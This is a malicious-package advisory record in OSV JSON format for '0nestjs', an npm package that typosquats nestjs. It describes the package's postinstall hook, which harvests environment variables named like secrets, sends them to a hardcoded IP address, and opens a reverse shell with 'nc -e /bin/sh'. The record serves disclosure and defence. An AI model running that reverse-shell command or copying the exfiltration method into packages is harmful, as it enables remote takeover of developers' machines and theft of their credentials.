{"id":"MAL-2026-15908","revision":"eac6a6e95d4b42bebb05b91923505003","records":[{"revision":"eac6a6e95d4b42bebb05b91923505003","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-15908","aliases":[],"title":"Malicious code in 0nestjs (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (54eee258f343282c30f3efc6b5effc8aac283b7b02421433c14dee3e14f27aa3)\nPackage name 0nestjs targets developers mistyping `nestjs`. On `npm install`, the postinstall hook `node index.js` executes automatically and performs two attacker-benefiting actions against the installer's machine. First, it enumerates process.env and collects every variable whose name matches /^(SECRET|API|TOKEN|KEY)/, then opens a raw TCP connection to the hardcoded endpoint 84.32.22.44:9999 (loaded from servers.json) and writes the harvested secrets as JSON. Second, it invokes `nc -e /bin/sh <host> <port>` against the same 84.32.22.44:9999 endpoint, wiring /bin/sh stdio to the remote host and giving the operator interactive command execution on the installer's machine. package.json self-describes as 'Typosquat of nestjs' with author 'typosquat-bot'.\n\n## Source: ossf-package-analysis (8e7fe3caa67347716816d33efbd052f536e41382406cf2282b2615f4bf87b797)\nThe OpenSSF Package Analysis project identified '0nestjs' @ 0.0.1 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","state":0,"publishedAt":"2026-09-03T23:35:53+00:00","modifiedAt":"2026-09-04T05:45:05.6807189+00:00","affected":[{"ecosystem":"npm","name":"0nestjs","ranges":[],"versions":["0.0.1"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/0nestjs/v/0.0.1"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-15908","license":"OSV · upstream source license applies","key":"osv:MAL-2026-15908","identifiers":["MAL-2026-15908"]},"retained":false,"historicalAffected":[]}],"coverage":[]}